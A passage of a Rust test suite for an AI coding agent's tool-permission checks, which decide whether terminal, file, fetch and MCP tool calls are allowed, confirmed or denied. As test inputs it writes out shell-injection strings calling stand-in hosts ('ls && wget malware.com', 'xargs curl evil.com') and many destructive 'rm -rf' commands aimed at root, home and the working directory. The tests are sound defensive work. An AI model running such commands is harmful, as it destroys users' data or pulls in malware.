1017 always_confirm: vec![],
1018 invalid_patterns: vec![],
1019 },
1020 );
1021 tools.insert(
1022 Arc::from(EditFileTool::NAME),
1023 ToolRules {
1024 default: Some(ToolPermissionMode::Allow),
1025 always_allow: vec![],
1026 always_deny: vec![],
1027 always_confirm: vec![],
1028 invalid_patterns: vec![],
1029 },
1030 );
1031 let p = ToolPermissions {
1032 default: ToolPermissionMode::Confirm,
1033 tools,
1034 };
1035 assert!(matches!(
1036 ToolPermissionDecision::from_input(
1037 TerminalTool::NAME,
1038 &["x".to_string()],
1039 &p,
1040 ShellKind::Posix
1041 ),
1042 ToolPermissionDecision::Deny(_)
1043 ));
1044 assert_eq!(
1045 ToolPermissionDecision::from_input(
1046 EditFileTool::NAME,
1047 &["x".to_string()],
1048 &p,
1049 ShellKind::Posix
1050 ),
1051 ToolPermissionDecision::Allow
1052 );
1053 }
1054
1055 #[test]
1056 fn partial_tool_name_no_match() {
1057 let mut tools = collections::HashMap::default();
1058 tools.insert(
1059 Arc::from("term"),
1060 ToolRules {
1061 default: Some(ToolPermissionMode::Deny),
1062 always_allow: vec![],
1063 always_deny: vec![],
1064 always_confirm: vec![],
1065 invalid_patterns: vec![],
1066 },
1067 );
1068 let p = ToolPermissions {
1069 default: ToolPermissionMode::Confirm,
1070 tools,
1071 };
1072 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1073 assert_eq!(
1074 ToolPermissionDecision::from_input(
1075 TerminalTool::NAME,
1076 &["x".to_string()],
1077 &p,
1078 ShellKind::Posix
1079 ),
1080 ToolPermissionDecision::Confirm
1081 );
1082 }
1083
1084 // invalid patterns block the tool
1085 #[test]
1086 fn invalid_pattern_blocks() {
1087 let mut tools = collections::HashMap::default();
1088 tools.insert(
1089 Arc::from(TerminalTool::NAME),
1090 ToolRules {
1091 default: Some(ToolPermissionMode::Allow),
1092 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1093 always_deny: vec![],
1094 always_confirm: vec![],
1095 invalid_patterns: vec![InvalidRegexPattern {
1096 pattern: "[bad".into(),
1097 rule_type: "always_deny".into(),
1098 error: "err".into(),
1099 }],
1100 },
1101 );
1102 let p = ToolPermissions {
1103 default: ToolPermissionMode::Confirm,
1104 tools,
1105 };
1106 // Invalid patterns block the tool regardless of other settings
1107 assert!(matches!(
1108 ToolPermissionDecision::from_input(
1109 TerminalTool::NAME,
1110 &["echo hi".to_string()],
1111 &p,
1112 ShellKind::Posix
1113 ),
1114 ToolPermissionDecision::Deny(_)
1115 ));
1116 }
1117
1118 #[test]
1119 fn invalid_substitution_bearing_command_denies_by_default() {
1120 let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1121 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1122 }
1123
1124 #[test]
1125 fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1126 let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1127 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1128 }
1129
1130 #[test]
1131 fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1132 let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1133 assert_eq!(decision, ToolPermissionDecision::Allow);
1134 }
1135
1136 #[test]
1137 fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1138 let mut tools = collections::HashMap::default();
1139 tools.insert(
1140 Arc::from(TerminalTool::NAME),
1141 ToolRules {
1142 default: Some(ToolPermissionMode::Allow),
1143 always_allow: vec![],
1144 always_deny: vec![],
1145 always_confirm: vec![],
1146 invalid_patterns: vec![],
1147 },
1148 );
1149 let permissions = ToolPermissions {
1150 default: ToolPermissionMode::Confirm,
1151 tools,
1152 };
1153
1154 assert_eq!(
1155 ToolPermissionDecision::from_input(
1156 TerminalTool::NAME,
1157 &["echo $(whoami)".to_string()],
1158 &permissions,
1159 ShellKind::Posix,
1160 ),
1161 ToolPermissionDecision::Allow
1162 );
1163 }
1164
1165 #[test]
1166 fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1167 t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1168 }
1169
1170 #[test]
1171 fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1172 t("PAGER=blah git log --oneline")
1173 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1174 .is_allow();
1175 }
1176
1177 #[test]
1178 fn env_prefixed_allow_pattern_requires_matching_env_value() {
1179 t("PAGER=more git log --oneline")
1180 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1181 .is_confirm();
1182 }
1183
1184 #[test]
1185 fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1186 t("PAGER=blah git log && git status")
1187 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1188 .is_confirm();
1189 }
1190
1191 #[test]
1192 fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1193 let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1194 match decision {
1195 ToolPermissionDecision::Deny(message) => {
1196 assert!(
1197 message.contains("built-in security rule"),
1198 "expected hardcoded denial message, got: {message}"
1199 );
1200 }
1201 other => panic!("expected Deny, got {other:?}"),
1202 }
1203 }
1204
1205 #[test]
1206 fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1207 let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1208 match decision {
1209 ToolPermissionDecision::Deny(message) => {
1210 assert!(
1211 message.contains("built-in security rule"),
1212 "expected hardcoded denial message, got: {message}"
1213 );
1214 }
1215 other => panic!("expected Deny, got {other:?}"),
1216 }
1217 }
1218
1219 #[test]
1220 fn shell_injection_via_double_ampersand_not_allowed() {
1221 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1222 }
1223
1224 #[test]
1225 fn shell_injection_via_semicolon_not_allowed() {
1226 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1227 }
1228
1229 #[test]
1230 fn shell_injection_via_pipe_not_allowed() {
1231 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1232 }
1233
1234 #[test]
1235 fn shell_injection_via_backticks_not_allowed() {
1236 t("echo `wget malware.com`")
1237 .allow(&[pattern("echo")])
1238 .is_deny();
1239 }
1240
1241 #[test]
1242 fn shell_injection_via_dollar_parens_not_allowed() {
1243 t("echo $(wget malware.com)")
1244 .allow(&[pattern("echo")])
1245 .is_deny();
1246 }
1247
1248 #[test]
1249 fn shell_injection_via_or_operator_not_allowed() {
1250 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1251 }
1252
1253 #[test]
1254 fn shell_injection_via_background_operator_not_allowed() {
1255 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1256 }
1257
1258 #[test]
1259 fn shell_injection_via_newline_not_allowed() {
1260 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1261 }
1262
1263 #[test]
1264 fn shell_injection_via_process_substitution_input_not_allowed() {
1265 t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1266 }
1267
1268 #[test]
1269 fn shell_injection_via_process_substitution_output_not_allowed() {
1270 t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1271 }
1272
1273 #[test]
1274 fn shell_injection_without_spaces_not_allowed() {
1275 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1276 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1277 }
1278
1279 #[test]
1280 fn shell_injection_multiple_chained_operators_not_allowed() {
1281 t("ls && echo hello && wget malware.com")
1282 .allow(&["^ls"])
1283 .is_confirm();
1284 }
1285
1286 #[test]
1287 fn shell_injection_mixed_operators_not_allowed() {
1288 t("ls; echo hello && wget malware.com")
1289 .allow(&["^ls"])
1290 .is_confirm();
1291 }
1292
1293 #[test]
1294 fn shell_injection_pipe_stderr_not_allowed() {
1295 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1296 }
1297
1298 #[test]
1299 fn allow_requires_all_commands_to_match() {
1300 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1301 }
1302
1303 #[test]
1304 fn dev_null_redirect_does_not_cause_false_negative() {
1305 // Redirects to /dev/null are known-safe and should be skipped during
1306 // command extraction, so they don't prevent auto-allow from matching.
1307 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1308 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1309 .is_allow();
1310 }
1311
1312 #[test]
1313 fn redirect_to_real_file_still_causes_confirm() {
1314 // Redirects to real files (not /dev/null) should still be included in
1315 // the extracted commands, so they prevent auto-allow when unmatched.
1316 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1317 }
1318
1319 #[test]
1320 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1321 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1322 // "echo y\ny" and "git add -p file". Both should match their respective allow
1323 // patterns, so the overall command should be auto-allowed.
1324 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1325 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1326 .is_allow();
1327 }
1328
1329 #[test]
1330 fn deny_triggers_on_any_matching_command() {
1331 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1332 }
1333
1334 #[test]
1335 fn deny_catches_injected_command() {
1336 t("ls && rm -rf ./temp")
1337 .allow(&["^ls"])
1338 .deny(&["^rm"])
1339 .is_deny();
1340 }
1341
1342 #[test]
1343 fn confirm_triggers_on_any_matching_command() {
1344 t("ls && sudo reboot")
1345 .allow(&["^ls"])
1346 .confirm(&["^sudo"])
1347 .is_confirm();
1348 }
1349
1350 #[test]
1351 fn always_allow_button_works_end_to_end() {
1352 // This test verifies that the "Always Allow" button behavior works correctly:
1353 // 1. User runs a command like "cargo build --release"
1354 // 2. They click "Always Allow for `cargo build` commands"
1355 // 3. The pattern extracted should match future "cargo build" commands
1356 // but NOT other cargo subcommands like "cargo test"
1357 let original_command = "cargo build --release";
1358 let extracted_pattern = pattern(original_command);
1359
1360 // The extracted pattern should allow the original command
1361 t(original_command).allow(&[extracted_pattern]).is_allow();
1362
1363 // It should allow other "cargo build" invocations with different flags
1364 t("cargo build").allow(&[extracted_pattern]).is_allow();
1365 t("cargo build --features foo")
1366 .allow(&[extracted_pattern])
1367 .is_allow();
1368
1369 // But NOT other cargo subcommands — the pattern is subcommand-specific
1370 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1371 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1372
1373 // Hyphenated extensions of the subcommand should not match either
1374 // (e.g. cargo plugins like "cargo build-foo")
1375 t("cargo build-foo")
1376 .allow(&[extracted_pattern])
1377 .is_confirm();
1378 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1379
1380 // But not commands with different base commands
1381 t("npm install").allow(&[extracted_pattern]).is_confirm();
1382
1383 // Chained commands: all must match the pattern
1384 t("cargo build && cargo build --release")
1385 .allow(&[extracted_pattern])
1386 .is_allow();
1387
1388 // But reject if any subcommand doesn't match
1389 t("cargo build && npm install")
1390 .allow(&[extracted_pattern])
1391 .is_confirm();
1392 }
1393
1394 #[test]
1395 fn always_allow_button_works_without_subcommand() {
1396 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1397 // should only include the command name, not the flag.
1398 let original_command = "ls -la";
1399 let extracted_pattern = pattern(original_command);
1400
1401 // The extracted pattern should allow the original command
1402 t(original_command).allow(&[extracted_pattern]).is_allow();
1403
1404 // It should allow other invocations of the same command
1405 t("ls").allow(&[extracted_pattern]).is_allow();
1406 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1407
1408 // But not different commands
1409 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1410
1411 // Chained commands: all must match
1412 t("ls -la && ls /tmp")
1413 .allow(&[extracted_pattern])
1414 .is_allow();
1415 t("ls -la && cat file.txt")
1416 .allow(&[extracted_pattern])
1417 .is_confirm();
1418 }
1419
1420 #[test]
1421 fn nested_command_substitution_is_denied() {
1422 t("echo $(cat $(whoami).txt)")
1423 .allow(&["^echo", "^cat", "^whoami"])
1424 .is_deny();
1425 }
1426
1427 #[test]
1428 fn parse_failure_is_denied() {
1429 t("ls &&").allow(&["^ls$"]).is_deny();
1430 }
1431
1432 #[test]
1433 fn mcp_tool_default_modes() {
1434 t("")
1435 .tool("mcp:fs:read")
1436 .mode(ToolPermissionMode::Allow)
1437 .is_allow();
1438 t("")
1439 .tool("mcp:bad:del")
1440 .mode(ToolPermissionMode::Deny)
1441 .is_deny();
1442 t("")
1443 .tool("mcp:gh:issue")
1444 .mode(ToolPermissionMode::Confirm)
1445 .is_confirm();
1446 t("")
1447 .tool("mcp:gh:issue")
1448 .mode(ToolPermissionMode::Confirm)
1449 .global_default(ToolPermissionMode::Allow)
1450 .is_confirm();
1451 }
1452
1453 #[test]
1454 fn mcp_doesnt_collide_with_builtin() {
1455 let mut tools = collections::HashMap::default();
1456 tools.insert(
1457 Arc::from(TerminalTool::NAME),
1458 ToolRules {
1459 default: Some(ToolPermissionMode::Deny),
1460 always_allow: vec![],
1461 always_deny: vec![],
1462 always_confirm: vec![],
1463 invalid_patterns: vec![],
1464 },
1465 );
1466 tools.insert(
1467 Arc::from("mcp:srv:terminal"),
1468 ToolRules {
1469 default: Some(ToolPermissionMode::Allow),
1470 always_allow: vec![],
1471 always_deny: vec![],
1472 always_confirm: vec![],
1473 invalid_patterns: vec![],
1474 },
1475 );
1476 let p = ToolPermissions {
1477 default: ToolPermissionMode::Confirm,
1478 tools,
1479 };
1480 assert!(matches!(
1481 ToolPermissionDecision::from_input(
1482 TerminalTool::NAME,
1483 &["x".to_string()],
1484 &p,
1485 ShellKind::Posix
1486 ),
1487 ToolPermissionDecision::Deny(_)
1488 ));
1489 assert_eq!(
1490 ToolPermissionDecision::from_input(
1491 "mcp:srv:terminal",
1492 &["x".to_string()],
1493 &p,
1494 ShellKind::Posix
1495 ),
1496 ToolPermissionDecision::Allow
1497 );
1498 }
1499
1500 #[test]
1501 fn case_insensitive_by_default() {
1502 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1503 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1504 }
1505
1506 #[test]
1507 fn case_sensitive_allow() {
1508 t("cargo test")
1509 .allow_case_sensitive(&[pattern("cargo")])
1510 .is_allow();
1511 t("CARGO TEST")
1512 .allow_case_sensitive(&[pattern("cargo")])
1513 .is_confirm();
1514 }
1515
1516 #[test]
1517 fn case_sensitive_deny() {
1518 t("rm -rf ./temp")
1519 .deny_case_sensitive(&[pattern("rm")])
1520 .is_deny();
1521 t("RM -RF ./temp")
1522 .deny_case_sensitive(&[pattern("rm")])
1523 .mode(ToolPermissionMode::Allow)
1524 .is_allow();
1525 }
1526
1527 #[test]
1528 fn nushell_allows_with_allow_pattern() {
1529 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1530 }
1531
1532 #[test]
1533 fn nushell_allows_deny_patterns() {
1534 t("rm -rf ./temp")
1535 .deny(&["rm\\s+-rf"])
1536 .shell(ShellKind::Nushell)
1537 .is_deny();
1538 }
1539
1540 #[test]
1541 fn nushell_allows_confirm_patterns() {
1542 t("sudo reboot")
1543 .confirm(&["sudo"])
1544 .shell(ShellKind::Nushell)
1545 .is_confirm();
1546 }
1547
1548 #[test]
1549 fn nushell_no_allow_patterns_uses_default() {
1550 t("ls")
1551 .deny(&["rm"])
1552 .mode(ToolPermissionMode::Allow)
1553 .shell(ShellKind::Nushell)
1554 .is_allow();
1555 }
1556
1557 #[test]
1558 fn elvish_allows_with_allow_pattern() {
1559 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1560 }
1561
1562 #[test]
1563 fn rc_allows_with_allow_pattern() {
1564 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1565 }
1566
1567 #[test]
1568 fn multiple_invalid_patterns_pluralizes_message() {
1569 let mut tools = collections::HashMap::default();
1570 tools.insert(
1571 Arc::from(TerminalTool::NAME),
1572 ToolRules {
1573 default: Some(ToolPermissionMode::Allow),
1574 always_allow: vec![],
1575 always_deny: vec![],
1576 always_confirm: vec![],
1577 invalid_patterns: vec![
1578 InvalidRegexPattern {
1579 pattern: "[bad1".into(),
1580 rule_type: "always_deny".into(),
1581 error: "err1".into(),
1582 },
1583 InvalidRegexPattern {
1584 pattern: "[bad2".into(),
1585 rule_type: "always_allow".into(),
1586 error: "err2".into(),
1587 },
1588 ],
1589 },
1590 );
1591 let p = ToolPermissions {
1592 default: ToolPermissionMode::Confirm,
1593 tools,
1594 };
1595
1596 let result = ToolPermissionDecision::from_input(
1597 TerminalTool::NAME,
1598 &["echo hi".to_string()],
1599 &p,
1600 ShellKind::Posix,
1601 );
1602 match result {
1603 ToolPermissionDecision::Deny(msg) => {
1604 assert!(
1605 msg.contains("2 regex patterns"),
1606 "Expected '2 regex patterns' in message, got: {}",
1607 msg
1608 );
1609 }
1610 other => panic!("Expected Deny, got {:?}", other),
1611 }
1612 }
1613
1614 // always_confirm patterns on non-terminal tools
1615 #[test]
1616 fn always_confirm_works_for_file_tools() {
1617 t("sensitive.env")
1618 .tool(EditFileTool::NAME)
1619 .confirm(&["sensitive"])
1620 .is_confirm();
1621
1622 t("normal.txt")
1623 .tool(EditFileTool::NAME)
1624 .confirm(&["sensitive"])
1625 .mode(ToolPermissionMode::Allow)
1626 .is_allow();
1627
1628 t("/etc/config")
1629 .tool(DeletePathTool::NAME)
1630 .confirm(&["/etc/"])
1631 .is_confirm();
1632
1633 t("/home/user/safe.txt")
1634 .tool(DeletePathTool::NAME)
1635 .confirm(&["/etc/"])
1636 .mode(ToolPermissionMode::Allow)
1637 .is_allow();
1638
1639 t("https://secret.internal.com/api")
1640 .tool(FetchTool::NAME)
1641 .confirm(&["secret\\.internal"])
1642 .is_confirm();
1643
1644 t("https://public.example.com/api")
1645 .tool(FetchTool::NAME)
1646 .confirm(&["secret\\.internal"])
1647 .mode(ToolPermissionMode::Allow)
1648 .is_allow();
1649
1650 // confirm on non-terminal tools still beats allow
1651 t("sensitive.env")
1652 .tool(EditFileTool::NAME)
1653 .allow(&["sensitive"])
1654 .confirm(&["\\.env$"])
1655 .is_confirm();
1656
1657 // confirm on non-terminal tools is still beaten by deny
1658 t("sensitive.env")
1659 .tool(EditFileTool::NAME)
1660 .confirm(&["sensitive"])
1661 .deny(&["\\.env$"])
1662 .is_deny();
1663
1664 // global default allow does not bypass confirm on non-terminal tools
1665 t("/etc/passwd")
1666 .tool(EditFileTool::NAME)
1667 .confirm(&["/etc/"])
1668 .global_default(ToolPermissionMode::Allow)
1669 .is_confirm();
1670 }
1671
1672 // Hardcoded security rules tests - these rules CANNOT be bypassed
1673
1674 #[test]
1675 fn hardcoded_blocks_rm_rf_root() {
1676 t("rm -rf /").is_deny();
1677 t("rm -fr /").is_deny();
1678 t("rm -RF /").is_deny();
1679 t("rm -FR /").is_deny();
1680 t("rm -r -f /").is_deny();
1681 t("rm -f -r /").is_deny();
1682 t("RM -RF /").is_deny();
1683 t("rm /").is_deny();
1684 // Long flags
1685 t("rm --recursive --force /").is_deny();
1686 t("rm --force --recursive /").is_deny();
1687 // Extra short flags
1688 t("rm -rfv /").is_deny();
1689 t("rm -v -rf /").is_deny();
1690 // Glob wildcards
1691 t("rm -rf /*").is_deny();
1692 t("rm -rf /* ").is_deny();
1693 // End-of-options marker
1694 t("rm -rf -- /").is_deny();
1695 t("rm -- /").is_deny();
1696 // Prefixed with sudo or other commands
1697 t("sudo rm -rf /").is_deny();
1698 t("sudo rm -rf /*").is_deny();
1699 t("sudo rm -rf --no-preserve-root /").is_deny();
1700 }
1701
1702 #[test]
1703 fn hardcoded_blocks_rm_rf_home() {
1704 t("rm -rf ~").is_deny();
1705 t("rm -fr ~").is_deny();
1706 t("rm -rf ~/").is_deny();
1707 t("rm -rf $HOME").is_deny();
1708 t("rm -fr $HOME").is_deny();
1709 t("rm -rf $HOME/").is_deny();
1710 t("rm -rf ${HOME}").is_deny();
1711 t("rm -rf ${HOME}/").is_deny();
1712 t("rm -RF $HOME").is_deny();
1713 t("rm -FR ${HOME}/").is_deny();
1714 t("rm -R -F ${HOME}/").is_deny();
1715 t("RM -RF ~").is_deny();
1716 // Long flags
1717 t("rm --recursive --force ~").is_deny();
1718 t("rm --recursive --force ~/").is_deny();
1719 t("rm --recursive --force $HOME").is_deny();
1720 t("rm --force --recursive ${HOME}/").is_deny();
1721 // Extra short flags
1722 t("rm -rfv ~").is_deny();
1723 t("rm -v -rf ~/").is_deny();
1724 // Glob wildcards
1725 t("rm -rf ~/*").is_deny();
1726 t("rm -rf $HOME/*").is_deny();
1727 t("rm -rf ${HOME}/*").is_deny();
1728 // End-of-options marker
1729 t("rm -rf -- ~").is_deny();
1730 t("rm -rf -- ~/").is_deny();
1731 t("rm -rf -- $HOME").is_deny();
1732 }
1733
1734 #[test]
1735 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1736 // Path traversal after $HOME / ${HOME} should still be blocked
1737 t("rm -rf $HOME/./").is_deny();
1738 t("rm -rf $HOME/foo/..").is_deny();
1739 t("rm -rf ${HOME}/.").is_deny();
1740 t("rm -rf ${HOME}/./").is_deny();
1741 t("rm -rf $HOME/a/b/../..").is_deny();
1742 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1743 // Subdirectories should NOT be blocked
1744 t("rm -rf $HOME/subdir")
1745 .mode(ToolPermissionMode::Allow)
1746 .is_allow();
1747 t("rm -rf ${HOME}/Documents")
1748 .mode(ToolPermissionMode::Allow)
1749 .is_allow();
1750 }
1751
1752 #[test]
1753 fn hardcoded_blocks_rm_rf_dot() {
1754 t("rm -rf .").is_deny();
1755 t("rm -fr .").is_deny();
1756 t("rm -rf ./").is_deny();
1757 t("rm -rf ..").is_deny();
1758 t("rm -fr ..").is_deny();
1759 t("rm -rf ../").is_deny();
1760 t("rm -RF .").is_deny();
1761 t("rm -FR ../").is_deny();
1762 t("rm -R -F ../").is_deny();
1763 t("RM -RF .").is_deny();
1764 t("RM -RF ..").is_deny();
1765 // Long flags
1766 t("rm --recursive --force .").is_deny();
1767 t("rm --force --recursive ../").is_deny();
1768 // Extra short flags
1769 t("rm -rfv .").is_deny();
1770 t("rm -v -rf ../").is_deny();
1771 // Glob wildcards
1772 t("rm -rf ./*").is_deny();
1773 t("rm -rf ../*").is_deny();
1774 // End-of-options marker
1775 t("rm -rf -- .").is_deny();
1776 t("rm -rf -- ../").is_deny();
1777 }
1778
1779 #[test]
1780 fn hardcoded_cannot_be_bypassed_by_global() {
1781 // Even with global default Allow, hardcoded rules block
1782 t("rm -rf /")
1783 .global_default(ToolPermissionMode::Allow)
1784 .is_deny();
1785 t("rm -rf ~")
1786 .global_default(ToolPermissionMode::Allow)
1787 .is_deny();
1788 t("rm -rf $HOME")
1789 .global_default(ToolPermissionMode::Allow)
1790 .is_deny();
1791 t("rm -rf .")
1792 .global_default(ToolPermissionMode::Allow)
1793 .is_deny();
1794 t("rm -rf ..")
1795 .global_default(ToolPermissionMode::Allow)
1796 .is_deny();
1797 }
1798
1799 #[test]
1800 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1801 // Even with an allow pattern that matches, hardcoded rules block
1802 t("rm -rf /").allow(&[".*"]).is_deny();
1803 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1804 t("rm -rf .").allow(&[".*"]).is_deny();
1805 t("rm -rf ..").allow(&[".*"]).is_deny();
1806 }
1807
1808 #[test]
1809 fn hardcoded_allows_safe_rm() {
1810 // rm -rf on a specific path should NOT be blocked
1811 t("rm -rf ./build")
1812 .mode(ToolPermissionMode::Allow)
1813 .is_allow();
1814 t("rm -rf /tmp/test")
1815 .mode(ToolPermissionMode::Allow)
1816 .is_allow();
1817 t("rm -rf ~/Documents")
1818 .mode(ToolPermissionMode::Allow)
1819 .is_allow();
1820 t("rm -rf $HOME/Documents")
1821 .mode(ToolPermissionMode::Allow)
1822 .is_allow();
1823 t("rm -rf ../some_dir")
1824 .mode(ToolPermissionMode::Allow)
1825 .is_allow();
1826 t("rm -rf .hidden_dir")
1827 .mode(ToolPermissionMode::Allow)
1828 .is_allow();
1829 t("rm -rfv ./build")
1830 .mode(ToolPermissionMode::Allow)
1831 .is_allow();
1832 t("rm --recursive --force ./build")
1833 .mode(ToolPermissionMode::Allow)
1834 .is_allow();
1835 }
1836
1837 #[test]
1838 fn hardcoded_checks_chained_commands() {
1839 // Hardcoded rules should catch dangerous commands in chains
1840 t("ls && rm -rf /").is_deny();
1841 t("echo hello; rm -rf ~").is_deny();
1842 t("cargo build && rm -rf /")
1843 .global_default(ToolPermissionMode::Allow)
1844 .is_deny();
1845 t("echo hello; rm -rf $HOME").is_deny();
1846 t("echo hello; rm -rf .").is_deny();
1847 t("echo hello; rm -rf ..").is_deny();
1848 }
1849
1850 #[test]
1851 fn hardcoded_blocks_rm_with_extra_flags() {
1852 // Extra flags like -v, -i should not bypass the security rules
1853 t("rm -rfv /").is_deny();
1854 t("rm -v -rf /").is_deny();
1855 t("rm -rfi /").is_deny();
1856 t("rm -rfv ~").is_deny();
1857 t("rm -rfv ~/").is_deny();
1858 t("rm -rfv $HOME").is_deny();
1859 t("rm -rfv .").is_deny();
1860 t("rm -rfv ./").is_deny();
1861 t("rm -rfv ..").is_deny();
1862 t("rm -rfv ../").is_deny();
1863 }
1864
1865 #[test]
1866 fn hardcoded_blocks_rm_with_long_flags() {
1867 t("rm --recursive --force /").is_deny();
1868 t("rm --force --recursive /").is_deny();
1869 t("rm --recursive --force ~").is_deny();
1870 t("rm --recursive --force ~/").is_deny();
1871 t("rm --recursive --force $HOME").is_deny();
1872 t("rm --recursive --force .").is_deny();
1873 t("rm --recursive --force ..").is_deny();
1874 }
1875
1876 #[test]
1877 fn hardcoded_blocks_rm_with_glob_star() {
1878 // rm -rf /* is equally catastrophic to rm -rf /
1879 t("rm -rf /*").is_deny();
1880 t("rm -rf ~/*").is_deny();
1881 t("rm -rf $HOME/*").is_deny();
1882 t("rm -rf ${HOME}/*").is_deny();
1883 t("rm -rf ./*").is_deny();
1884 t("rm -rf ../*").is_deny();
1885 }
1886
1887 #[test]
1888 fn hardcoded_extra_flags_allow_safe_rm() {
1889 // Extra flags on specific paths should NOT be blocked
1890 t("rm -rfv ~/somedir")
1891 .mode(ToolPermissionMode::Allow)
1892 .is_allow();
1893 t("rm -rfv /tmp/test")
1894 .mode(ToolPermissionMode::Allow)
1895 .is_allow();
1896 t("rm --recursive --force ./build")
1897 .mode(ToolPermissionMode::Allow)
1898 .is_allow();
1899 }
1900
1901 #[test]
1902 fn hardcoded_does_not_block_words_containing_rm() {
1903 // Words like "storm", "inform" contain "rm" but should not be blocked
1904 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1905 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1906 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1907 }
1908
1909 #[test]
1910 fn hardcoded_blocks_rm_with_trailing_flags() {
1911 // GNU rm accepts flags after operands by default
1912 t("rm / -rf").is_deny();
1913 t("rm / -fr").is_deny();
1914 t("rm / -RF").is_deny();
1915 t("rm / -r -f").is_deny();
1916 t("rm / --recursive --force").is_deny();
1917 t("rm / -rfv").is_deny();
1918 t("rm /* -rf").is_deny();
1919 // Mixed: some flags before path, some after
1920 t("rm -r / -f").is_deny();
1921 t("rm -f / -r").is_deny();
1922 // Home
1923 t("rm ~ -rf").is_deny();
1924 t("rm ~/ -rf").is_deny();
1925 t("rm ~ -r -f").is_deny();
1926 t("rm $HOME -rf").is_deny();
1927 t("rm ${HOME} -rf").is_deny();
1928 // Dot / dotdot
1929 t("rm . -rf").is_deny();
1930 t("rm ./ -rf").is_deny();
1931 t("rm . -r -f").is_deny();
1932 t("rm .. -rf").is_deny();
1933 t("rm ../ -rf").is_deny();
1934 t("rm .. -r -f").is_deny();
1935 // Trailing flags in chained commands
1936 t("ls && rm / -rf").is_deny();
1937 t("echo hello; rm ~ -rf").is_deny();
1938 // Safe paths with trailing flags should NOT be blocked
1939 t("rm ./build -rf")
1940 .mode(ToolPermissionMode::Allow)
1941 .is_allow();
1942 t("rm /tmp/test -rf")
1943 .mode(ToolPermissionMode::Allow)
1944 .is_allow();
1945 t("rm ~/Documents -rf")
1946 .mode(ToolPermissionMode::Allow)
1947 .is_allow();
1948 }
1949
1950 #[test]
1951 fn hardcoded_blocks_rm_with_flag_equals_value() {
1952 // --flag=value syntax should not bypass the rules
1953 t("rm --no-preserve-root=yes -rf /").is_deny();
1954 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1955 t("rm -rf --no-preserve-root=yes /").is_deny();
1956 t("rm --interactive=never -rf /").is_deny();
1957 t("rm --no-preserve-root=yes -rf ~").is_deny();
1958 t("rm --no-preserve-root=yes -rf .").is_deny();
1959 t("rm --no-preserve-root=yes -rf ..").is_deny();
1960 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1961 // --flag (without =value) should also not bypass the rules
1962 t("rm -rf --no-preserve-root /").is_deny();
1963 t("rm --no-preserve-root -rf /").is_deny();
1964 t("rm --no-preserve-root --recursive --force /").is_deny();
1965 t("rm -rf --no-preserve-root ~").is_deny();
1966 t("rm -rf --no-preserve-root .").is_deny();
1967 t("rm -rf --no-preserve-root ..").is_deny();
1968 t("rm -rf --no-preserve-root $HOME").is_deny();
1969 // Trailing --flag=value after path
1970 t("rm / --no-preserve-root=yes -rf").is_deny();
1971 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1972 // Trailing --flag (without =value) after path
